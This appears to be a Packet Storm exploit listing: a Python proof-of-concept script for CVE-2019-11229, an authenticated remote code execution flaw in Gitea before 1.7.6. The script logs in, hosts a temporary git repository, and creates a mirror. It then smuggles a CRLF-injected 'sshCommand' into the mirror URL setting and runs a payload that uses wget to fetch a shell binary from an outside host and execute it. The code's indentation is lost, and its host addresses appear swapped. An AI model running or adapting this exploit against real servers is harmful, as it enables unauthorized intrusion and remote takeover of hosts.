Share
## https://sploitus.com/exploit?id=PACKETSTORM:160833
# Exploit Title: Gitea 1.7.5 - Remote Code Execution  
# Date: 2020-05-11  
# Exploit Author: 1F98D  
# Original Author: LoRexxar  
# Software Link: https://gitea.io/en-us/  
# Version: Gitea before 1.7.6 and 1.8.x before 1.8-RC3  
# Tested on: Debian 9.11 (x64)  
# CVE: CVE-2019-11229  
# References:  
# https://medium.com/@knownsec404team/analysis-of-cve-2019-11229-from-git-config-to-rce-32c217727baa  
#  
# Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings,  
# leading to authenticated remote code execution.  
#   
#!/usr/bin/python3  
  
import re  
import os  
import sys  
import random  
import string  
import requests  
import tempfile  
import threading  
import http.server  
import socketserver  
import urllib.parse  
from functools import partial  
  
USERNAME = "test"  
PASSWORD = "password123"  
HOST_ADDR = '192.168.1.1'  
HOST_PORT = 3000  
URL = 'http://192.168.1.2:3000'   
CMD = 'wget http://192.168.1.2:8080/shell -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell'   
  
# Login   
s = requests.Session()   
print('Logging in')   
body = {   
'user_name': USERNAME,   
'password': PASSWORD   
}   
r = s.post(URL + '/user/login',data=body)   
if r.status_code != 200:   
print('Login unsuccessful')   
  
sys.exit(1)   
print('Logged in successfully')   
  
# Obtain user ID for future requests  
print('Retrieving user ID')  
r = s.get(URL + '/')  
if r.status_code != 200:  
print('Could not retrieve user ID')  
sys.exit(1)  
  
m = re.compile("<meta name=\"_uid\" content=\"(.+)\" />").search(r.text)  
USER_ID = m.group(1)  
print('Retrieved user ID: {}'.format(USER_ID))  
  
# Hosting the repository to clone  
gitTemp = tempfile.mkdtemp()  
os.system('cd {} && git init'.format(gitTemp))  
os.system('cd {} && git config user.email x@x.com && git config user.name x && touch x && git add x && git commit -m x'.format(gitTemp))  
os.system('git clone --bare {} {}.git'.format(gitTemp, gitTemp))  
os.system('cd {}.git && git update-server-info'.format(gitTemp))  
handler = partial(http.server.SimpleHTTPRequestHandler,directory='/tmp')  
socketserver.TCPServer.allow_reuse_address = True  
httpd = socketserver.TCPServer(("", HOST_PORT), handler)  
t = threading.Thread(target=httpd.serve_forever)  
t.start()  
print('Created temporary git server to host {}.git'.format(gitTemp))  
  
# Create the repository  
print('Creating repository')  
REPO_NAME = ''.join(random.choice(string.ascii_lowercase) for i in range(8))  
body = {  
'_csrf': urllib.parse.unquote(s.cookies.get('_csrf')),  
'uid': USER_ID,  
'repo_name': REPO_NAME,  
'clone_addr': 'http://{}:{}/{}.git'.format(HOST_ADDR, HOST_PORT, gitTemp[5:]),  
'mirror': 'on'  
}  
r = s.post(URL + '/repo/migrate', data=body)  
if r.status_code != 200:  
print('Error creating repo')  
httpd.shutdown()  
t.join()  
sys.exit(1)  
print('Repo "{}" created'.format(REPO_NAME))  
  
# Inject command into config file  
print('Injecting command into repo')  
body = {  
'_csrf': urllib.parse.unquote(s.cookies.get('_csrf')),  
'mirror_address': 'ssh://example.com/x/x"""\r\n[core]\r\nsshCommand="{}"\r\na="""'.format(CMD),  
'action': 'mirror',  
'enable_prune': 'on',  
'interval': '8h0m0s'  
}  
r = s.post(URL + '/' + USERNAME + '/' + REPO_NAME + '/settings', data=body)  
if r.status_code != 200:  
print('Error injecting command')  
httpd.shutdown()  
t.join()  
sys.exit(1)  
print('Command injected')  
  
# Trigger the command  
print('Triggering command')  
body = {  
'_csrf': urllib.parse.unquote(s.cookies.get('_csrf')),  
'action': 'mirror-sync'  
}  
r = s.post(URL + '/' + USERNAME + '/' + REPO_NAME + '/settings', data=body)  
if r.status_code != 200:  
print('Error triggering command')  
httpd.shutdown()  
t.join()  
sys.exit(1)  
  
print('Command triggered')  
  
# Shutdown the git server  
httpd.shutdown()